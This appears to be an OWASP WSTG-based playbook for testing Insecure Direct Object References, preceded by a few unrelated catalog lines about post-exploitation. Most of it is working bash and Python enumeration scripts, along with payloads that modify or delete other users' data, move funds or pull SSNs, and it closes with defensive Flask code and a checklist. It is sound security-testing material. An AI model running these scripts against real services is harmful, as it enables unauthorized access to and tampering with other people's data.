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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
| name | wstg-authz-04 |
| description | Testing for Insecure Direct Object References (IDOR) |
| category | authorization |
| owasp_id | WSTG-AUTHZ-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authorization","access-control","privilege","wstg","authz"] |
| tech_stack | [] |
| cwe_ids | ["CWE-639"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-AUTHZ-04
Testing for Insecure Direct Object References (IDOR)
Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to access objects directly without proper authorization checks. Attackers can modify parameters like IDs, filenames, or keys to access unauthorized resources belonging to other users. IDOR is a form of broken access control and can lead to unauthorized data disclosure, modification, or deletion.
| Location | Example |
|---|---|
| URL path | /api/users/123/profile |
| Query string | /download?file_id=456 |
| Request body | {"user_id": 789} |
| Headers | X-User-ID: 123 |
| Cookies | user_id=123 |
# Look for numeric IDs in requests
# Monitor API calls for patterns like:
# /api/users/123
# /api/orders/456
# /api/documents/789
# Common endpoints to check
endpoints=(
"/api/users/{id}"
)
#!/bin/bash
# Test accessing other users' resources by ID manipulation
TOKEN="your_auth_token"
OWN_ID=100
BASE_URL="https://target.com"
# Test accessing nearby IDs
for id in $(seq 95 105); do
if [ "$id" != "$OWN_ID" ]; then
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/users/$id/profile")
status=$(echo "$response" | tail -1)
body=$(echo "$response" | sed '$d')
if [ "$status" == "200" ]; then
echo "[VULN] IDOR: Accessed user $id"
echo "Data: $(echo $body | head -c 200)"
fi
fi
done
#!/bin/bash
# Test IDOR across HTTP methods
TOKEN="your_auth_token"
TARGET_ID=101 # Other user's ID
BASE_URL="https://target.com"
# GET - Read data
echo "=== Testing GET ==="
curl -s -X GET "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"
# PUT - Modify data
echo "=== Testing PUT ==="
curl -s -X PUT "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Hacked"}'
# DELETE - Delete resource
echo "=== Testing DELETE ==="
curl -s -X DELETE "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"
# POST - Create with someone else's ID
echo "=== Testing POST ==="
curl -s -X POST "$BASE_URL/api/users/$TARGET_ID/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product": "item1"}'
#!/bin/bash
# UUIDs are not immune to IDOR if they can be discovered
# Check if UUIDs are exposed in:
# - API responses listing resources
# - URL referer headers
# - JavaScript source code
# - Error messages
# - Public profiles
# Test with discovered UUIDs
curl -s "https://target.com/api/documents/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer $TOKEN"
# Check if UUID format validation is enforced
# Invalid UUIDs might reveal information
curl -s "https://target.com/api/documents/invalid-uuid" \
-H "Authorization: Bearer $TOKEN"
#!/bin/bash
# Test Base64 encoded IDs
# Decode current reference
current_ref="MTIz" # Base64 of "123"
decoded=$(echo "$current_ref" | base64 -d)
echo "Decoded: $decoded"
# Encode other IDs
for id in {120..130}; do
encoded=$(echo -n "$id" | base64)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$encoded" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; then
echo "[VULN] IDOR with encoded ID $id ($encoded)"
fi
done
# Test hex encoded IDs
for id in {120..130}; do
hex=$(printf '%x' $id)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$hex" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; then
echo "[VULN] IDOR with hex ID $hex"
fi
done
# IDOR in JSON body
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from_account": "OTHER_USER_ACCOUNT",
"to_account": "MY_ACCOUNT",
"amount": 100
}'
# IDOR with user_id in body
curl -s -X GET "https://target.com/api/user/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"user_id": 101}'
# IDOR in form data
curl -s -X POST "https://target.com/api/export" \
-H "Authorization: Bearer $TOKEN" \
-d "user_id=101&format=csv"
#!/usr/bin/env python3
import requests
import base64
import json
from concurrent.futures import ThreadPoolExecutor
class IDORTester:
def __init__(self, base_url, auth_token, own_id):
self.base_url = base_url
self.own_id = own_id
self.session = requests.Session()
self.session.headers.update({
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
})
self.vulnerabilities = []
def test_numeric_idor(self, endpoint_template, id_range=range(1, 100)):
"""Test numeric ID manipulation"""
print(f"\n[*] Testing numeric IDOR on: {endpoint_template}")
for test_id in id_range:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
# Check if we got actual data
try:
data = response.json()
if data and len(str(data)) > 10:
print(f"[VULN] IDOR at ID {test_id}: {endpoint}")
self.vulnerabilities.append({
"type": "numeric",
"endpoint": endpoint,
"id": test_id,
"method": "GET"
})
except:
pass
except Exception as e:
pass
return self.vulnerabilities
def test_write_idor(self, endpoint_template, test_ids):
"""Test IDOR for write operations"""
print(f"\n[*] Testing write IDOR on: {endpoint_template}")
methods = ["PUT", "PATCH", "DELETE"]
for test_id in test_ids:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
for method in methods:
try:
if method == "DELETE":
# Don't actually delete - just test response
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
timeout=5
)
else:
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
json={"test": "data"},
timeout=5
)
if response.status_code in [200, 204]:
print(f"[VULN] Write IDOR: {method} {endpoint}")
self.vulnerabilities.append({
"type": "write",
"endpoint": endpoint,
"id": test_id,
"method": method
})
except:
pass
return self.vulnerabilities
def test_body_idor(self, endpoint, param_name, test_ids):
"""Test IDOR in request body"""
print(f"\n[*] Testing body IDOR on: {endpoint} ({param_name})")
for test_id in test_ids:
if test_id == self.own_id:
continue
try:
response = self.session.post(
f"{self.base_url}{endpoint}",
json={param_name: test_id}
)
if response.status_code == 200:
print(f"[VULN] Body IDOR with {param_name}={test_id}")
self.vulnerabilities.append({
"type": "body",
"endpoint": endpoint,
"parameter": param_name,
"id": test_id
})
except:
pass
return self.vulnerabilities
def test_encoded_idor(self, endpoint_template, test_ids, encoding='base64'):
"""Test IDOR with encoded IDs"""
print(f"\n[*] Testing {encoding} encoded IDOR on: {endpoint_template}")
for test_id in test_ids:
if test_id == self.own_id:
continue
if encoding == 'base64':
encoded = base64.b64encode(str(test_id).encode()).decode()
elif encoding == 'hex':
encoded = hex(test_id)[2:]
else:
encoded = str(test_id)
endpoint = endpoint_template.replace("{id}", encoded)
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
print(f"[VULN] Encoded IDOR: {test_id} -> {encoded}")
self.vulnerabilities.append({
"type": f"encoded_{encoding}",
"endpoint": endpoint,
"original_id": test_id,
"encoded_id": encoded
})
except:
pass
return self.vulnerabilities
def test_parameter_pollution(self, endpoint, param_name):
"""Test HTTP Parameter Pollution for IDOR"""
print(f"\n[*] Testing HPP IDOR on: {endpoint}")
# Test sending multiple IDs
payloads = [
f"{param_name}={self.own_id}&{param_name}=101",
f"{param_name}=101&{param_name}={self.own_id}",
f"{param_name}[]={self.own_id}&{param_name}[]=101",
]
for payload in payloads:
try:
response = self.session.get(
f"{self.base_url}{endpoint}?{payload}"
)
if response.status_code == 200:
# Check if other user's data returned
if "101" in response.text or str(101) in response.text:
print(f"[VULN] HPP IDOR: {payload}")
self.vulnerabilities.append({
"type": "hpp",
"endpoint": endpoint,
"payload": payload
})
except:
pass
return self.vulnerabilities
def generate_report(self):
"""Generate IDOR testing report"""
print("\n" + "="*60)
print("IDOR TESTING REPORT")
print("="*60)
if not self.vulnerabilities:
print("\nNo IDOR vulnerabilities found.")
return
print(f"\nTotal vulnerabilities: {len(self.vulnerabilities)}\n")
# Group by type
by_type = {}
for vuln in self.vulnerabilities:
vuln_type = vuln['type']
if vuln_type not in by_type:
by_type[vuln_type] = []
by_type[vuln_type].append(vuln)
for vuln_type, vulns in by_type.items():
print(f"\n{vuln_type.upper()} ({len(vulns)} findings):")
for v in vulns:
print(f" - {v.get('endpoint', v)}")
# Usage
tester = IDORTester(
base_url="https://target.com",
auth_token="your_token_here",
own_id=100
)
# Test various endpoints
endpoints = [
"/api/users/{id}/profile",
"/api/users/{id}/orders",
"/api/accounts/{id}",
"/api/documents/{id}",
]
for endpoint in endpoints:
tester.test_numeric_idor(endpoint, range(95, 110))
tester.test_write_idor(endpoint, [101, 102, 103])
# Test body IDOR
tester.test_body_idor("/api/user/data", "user_id", [101, 102, 103])
# Generate report
tester.generate_report()
# GraphQL IDOR testing
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: 101) { id name email ssn creditCard } }"
}'
# Test with variables
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query GetUser($id: ID!) { user(id: $id) { id name email } }",
"variables": {"id": "101"}
}'
# Enumerate using introspection
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
| Tool | Description | Usage |
|---|---|---|
| Burp Intruder | ID enumeration | Numeric/payload fuzzing |
| Autorize (Burp) | Authorization testing | Compare responses |
| OWASP ZAP | Active scanning | Automated testing |
| Postman | API testing | Collection runner |
| Tool | Description |
|---|---|
| Burp Logger++ | Request logging |
| ParamMiner | Parameter discovery |
| JavaScript analysis | Extract IDs from code |
from functools import wraps
from flask import request, g, abort
def authorize_resource_access(resource_type):
"""Decorator to verify resource ownership"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
resource_id = kwargs.get('id')
# Get resource from database
resource = get_resource(resource_type, resource_id)
if not resource:
abort(404)
# Check ownership or admin status
if resource.owner_id != g.current_user.id:
if not g.current_user.has_role('admin'):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage
@app.route('/api/documents/<int:id>')
@require_auth
@authorize_resource_access('document')
def get_document(id):
return Document.query.get(id).to_json()
import secrets
import hashlib
class IndirectReferenceMap:
"""Map direct IDs to indirect references"""
def __init__(self, user_id):
self.user_id = user_id
self.cache = {}
def create_reference(self, direct_id, resource_type):
"""Create an indirect reference for a resource"""
# Generate unique indirect reference
seed = f"{self.user_id}:{resource_type}:{direct_id}:{secrets.token_hex(8)}"
indirect_ref = hashlib.sha256(seed.encode()).hexdigest()[:16]
# Store mapping in database (per user session)
IndirectMapping.create(
user_id=self.user_id,
indirect_ref=indirect_ref,
direct_id=direct_id,
resource_type=resource_type
)
return indirect_ref
def resolve_reference(self, indirect_ref, resource_type):
"""Resolve indirect reference to direct ID"""
mapping = IndirectMapping.query.filter_by(
user_id=self.user_id,
indirect_ref=indirect_ref,
resource_type=resource_type
).first()
if not mapping:
return None
return mapping.direct_id
# Usage
@app.route('/api/documents/<ref>')
@require_auth
def get_document(ref):
ref_map = IndirectReferenceMap(current_user.id)
document_id = ref_map.resolve_reference(ref, 'document')
if not document_id:
abort(404)
return Document.query.get(document_id).to_json()
from sqlalchemy import and_
class SecureResourceQuery:
"""Always include ownership in queries"""
@staticmethod
def get_user_document(document_id, user_id):
"""Get document only if user owns it"""
return Document.query.filter(
and_(
Document.id == document_id,
Document.owner_id == user_id
)
).first()
@staticmethod
def get_user_orders(user_id):
"""Get orders for specific user only"""
return Order.query.filter_by(user_id=user_id).all()
# Usage in routes
@app.route('/api/documents/<int:id>')
@require_auth
def get_document(id):
document = SecureResourceQuery.get_user_document(id, current_user.id)
if not document:
abort(404) # Don't reveal existence
return document.to_json()
import uuid
from sqlalchemy.dialects.postgresql import UUID
class Document(db.Model):
# Use UUID as primary key instead of sequential integer
id = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
content = db.Column(db.Text)
# Still implement authorization checks - UUIDs are NOT a security control
| Finding | CVSS | Severity |
|---|---|---|
| Read other users' sensitive data (PII, financial) | 7.5 | High |
| Modify other users' data | 8.1 | High |
| Delete other users' resources | 8.1 | High |
| Access administrative resources | 8.8 | High |
| Read non-sensitive data | 4.3 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-639 | Authorization Bypass Through User-Controlled Key | Core IDOR issue |
| CWE-284 | Improper Access Control | Broken access control |
| CWE-862 | Missing Authorization | No authorization check |
| CWE-863 | Incorrect Authorization | Wrong authorization |
[ ] Object references identified in requests
[ ] Sequential ID enumeration tested
[ ] IDOR in GET requests tested
[ ] IDOR in POST/PUT/DELETE tested
[ ] Body parameter IDOR tested
[ ] Encoded ID manipulation tested
[ ] UUID/GUID enumeration attempted
[ ] GraphQL IDOR tested (if applicable)
[ ] HPP for IDOR tested
[ ] Different user contexts tested
[ ] Findings documented
[ ] Remediation recommendations provided